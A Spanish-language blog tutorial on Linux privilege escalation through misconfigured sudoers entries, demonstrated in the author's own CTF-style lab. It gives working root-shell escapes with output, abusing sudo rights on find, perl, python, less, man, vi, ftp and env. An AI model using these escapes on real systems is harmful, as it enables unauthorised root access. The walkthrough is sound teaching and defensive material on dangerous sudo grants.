Escalada de Privilegios Linux con el Archivo sudoers
Escalada de Privilegios Linux con el Archivo sudoers

Escalada de Privilegios Linux con el Archivo sudoers

En un artículo anterior, te hablé de la escalada de privilegios Linux usando el archivo /etc/passwd y hoy estoy de vuelta para mostrarte otro método de escalada de privilegios Linux usando el archivo Sudoers.

Cuando resuelves CTFs, para la elevación de privilegios siempre tienes que comprobar los permisos de root de cualquier usuario para ejecutar cualquier archivo o comando ejecutando sudo -l.

Concepto Teórico

En Linux/Unix, hay un archivo sudoers en /etc que es el archivo de configuración de los derechos sudo. ¡Todos conocen la potencia del comando sudo!

La palabra sudo representa SuperUser Do root.

El archivo Sudoers es el archivo en el que se almacenan los usuarios y grupos que tienen privilegios root para ejecutar algunas o todas las órdenes como root o otro usuario. No es muy complicado, finalmente si escribo sudo -l y delante de un usuario veo comandos, entonces podría escribir ese comando para ser root. ¿Nada especial, verdad?

Aquí tienes el archivo sudoers: para abrirlo escribo el comando:

visudo
Contenido del archivo sudoers
Contenido del archivo sudoers

Cuando ejecuto un comando con sudo, necesita privilegios root para la ejecución y Linux comprueba ese nombre de usuario particular en el archivo sudoers.

Si el usuario no está en la lista de archivos sudoers, no podrá ejecutar comandos con sudo. El usuario root, por su parte, tiene permisos especiales que le permiten ejecutar desde TODAS las terminales, actuando como TODOS los usuarios  y ejecutar cualquier comando.

Sintaxis del Archivo Sudoers

Si yo (usuario root) quiero conceder el derecho sudo a un usuario particular, tengo que escribir el comando visudo que abrirá el archivo sudoers para modificarlo. Bajo “User privilege specification“, observo el permiso root por defecto “root ALL = (ALL: ALL) ALL“. Pero en realidad, también hay una opción TAG disponible que es opcional.

Sintaxis del Archivo sudoers
Sintaxis del Archivo sudoers

NOTA:

(ALL:ALL) también puede representarse como (ALL)

Si no se menciona nada para el usuario/grupo, significa que sudo es por defecto el usuario root.

Práctica

Antes de atacar la parte de escalada de privilegios, voy a crear un usuario para poder mostrarte mejor cómo funciona. Te recomiendo encarecidamente que lo hagas también para probarlo.

adduser esgeeks
Añadir usuario esgeeks en Linux
Añadir usuario esgeeks en Linux

¡Ya está!

Método Tradicional para Atribuir el Privilegio root

Como administrador, si quiero dar los derechos de superusuario al usuario esgeeks, tengo que hacer lo siguiente:

  1. Abrir el archivo sudoers con el comando visudo
  2. Usar la sintaxis correcta para dar los derechos
Atribuir privilegios root a usuario esgeeks
Atribuir privilegios root a usuario esgeeks
esgeeks ALL=(ALL:ALL) ALL

Ahora que he terminado la configuración, inicio mi máquina atacante Parrot OS y primero comprometo el sistema objetivo, luego paso a la fase de escalada de privilegios como en un CTF real.

Supongamos que me he conectado con éxito a la máquina de la víctima a través de ssh y quiero saber los derechos sudo del usuario actual.

ssh esgeeks@192.168.1.115

Para ello ejecuto el comando sudo -l.

...
(ALL : ALL) ALL
esgeeks@ParrotOS: ~$ sudo su
root@ParrotOS: /home/esgeeks#

¡Funciona! Pasemos a cosas serias.

Método por Defecto para Atribuir el Privilegio root

Sigue siendo lo mismo, si como administrador quiero otorgarle al usuario esgeeks la autorización root para ejecutar todos los comandos y programas, también puedo escribir:

esgeeks ALL= ALL
Atribuir privilegios root con ALL ALL
Atribuir privilegios root con ALL ALL

Verificación desde el servidor objetivo:

...
(root) ALL
esgeeks@ParrotOS: ~$ sudo bash
root@ParrotOS: /home/esgeeks#

Aquí he usado el comando sudo bash, pero también podía escribir sudo su ¡prueba!

Permitir el Privilegio root a los Comandos Binarios

A veces, un usuario tiene autorización para ejecutar cualquier archivo o comando de un directorio particular como /bin/cp, /bin/cat o /usr/bin/find, este tipo de autorización lleva a una elevación de privilegios para acceder a root en el objetivo.

esgeeks ALL=(root) NOPASSWD : /usr/bin/find

Nota: la etiqueta NOPASSWD significa que no se pedirá ninguna contraseña para la autenticación al ejecutar el comando sudo -l.

Privilegios de root para binario find
Privilegios de root para binario find

Aún conectado desde nuestro acceso al servidor, observo el resultado: sudo -l

sudo find /home -exec /bin/bash \;
esgeeks@uParrotOS: ~$ sudo -l
....
  (root) NOPASSWD: /usr/bin/find
esgeeks@ParrotOS:~$ sudo find /home -exec /bin/bash \;-
root@ParrotOS: /home/esgeeks# id
uid=0(root) gid=0(root) groupes=0( root )
root@ParrotOS:/home/esgeeks# |

¡Genial! Funciona, ya he visto varias veces este escenario en los CTFs, así que tenedlo en cuenta.

Permitir el Privilegio root a Más Programas Binarios

A menudo ocurre que el administrador del sistema atribuye derechos específicos a un usuario en particular para ejecutar programas binarios que permitan modificar cualquier archivo del sistema como /etc/passwd por ejemplo.

Algunos programas binarios pueden provocar una elevación de privilegios, te lo muestro:

En el archivo sudoers añado:

esgeeks ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python3, /usr/bin/less, /usr/bin/man, /usr/bin/vi
Privilegios de root a programas binario
Privilegios de root a programas binario

Verificación con perl:

sudo perl -e ‘exec " /bin/bash ";’
esgeeks@ParrotOS: ~$ sudo -l
...
  (root) NOPASSWD: /usr/bin/perl, /usr/bin/python3, /usr/bin/less, /usr/bin/man, /usr/bin/vi
esgeeks@ParrotOS:~$ sudo perl -e ‘exec " /bin/bash ";’
root@ParrotOS: /home/esgeeks# id
uid=0(root) gid=0(root) groupes=0(root )
root@ParrotOS:/home/esgeeks#

Verificación con python3:

sudo python -c ‘import pty;pty.spawn( " /bin/bash ")’

Verificación con less:

sudo less /etc/hosts

Cuando escribo este comando, me abre un archivo del sistema en modo edición, voy a añadir al final !bash:

!bash

Una vez que valido con la tecla Enter, miro el resultado:

¡Bingo!

Verificación con man:

sudo man man

De la misma manera que antes, después de escribir el comando sudo man man se abre un archivo (manual) y puedo añadir !bash:

Un pequeño chequeo para ver si me convierto en root:

esgeeks@ParrotOS:~$ sudo man man
root@ParrotOS:/home/esgeeks# id
uid=0(root) gid=0(root) groupes=0(root)
root@ParrotOS:/home/esgeeks#

¡Yeah! ¡Es genial, me doy cuenta de que es súper potente en realidad!

Verificación con vi:

sudo vi

Tengo que admitir que es muy frecuente usar vi para escalar los privilegios a root, sigue siendo lo mismo, sólo hay que añadir !bash (muy práctico en muchos CTfs ):

Y normalmente debería funcionar.

¡Genial!

Nota: los permisos sudo para less, nano, man, vi y man son muy peligrosos porque permiten al usuario modificar el archivo del sistema y provocan una elevación de privilegios! ¡Estén atentos!

Otros Tipos de Programas

Como te acabo de mostrar arriba, algunos programas binarios con el derecho sudo son útiles para obtener acceso root. Pero además de eso, otras aplicaciones también pueden proporcionar acceso root si tienen el privilegio sudo, como el FTP…, te pongo en práctica para que lo entiendas mejor.

Añado:

esgeeks ALL=(ALL) NOPASSWD : /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat
Privilegios root para otros tipos de programas
Privilegios root para otros tipos de programas

Como te he hablado del FTP, empiezo por él:

sudo ftp
! /bin/bash

En acción:

esgeeks@ParrotOS:~$ sudo ftp
ftp> ! /bin/bash
root@ParrotOS:/home/esgeeks# id
uid=0(root) gid=0(root) groupes=0(root)
root@ParrotOS:/home/esgeeks#

¡Es fuerte! Francamente es muy potente de todos modos.

Y para terminar, te lo muestro con el comando env:

sudo env /bin/bash

En acción:

esgeeks@ParrotOS:~$ sudo env /bin/bash
root@ParrotOS: /home/esgeeks# id
uid=0(root) gid=0(root) groupes=0( root)
root@ParrotOS: /home/esgeeks#

Te dejo la curiosidad de probar el resto de comandos para que te puedas familiarizar con ellos.

Conclusión

Ya está, amigos, este es el final de este artículo que sigue perfectamente al anterior sobre la escalada de privilegios en Linux. Espero que hayas entendido el principio, en general no es complicado.

¡Dominar los puntos tratados será un plus para ti, tanto en CTF como en otros sitios! Después de hacer algunos CTFs, me he dado cuenta de que para los principiantes, todo se basa en lo que te acabo de explicar.

Sin embargo, si encuentras dificultades o errores durante la práctica de este artículo, no dudes en contactarme.

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda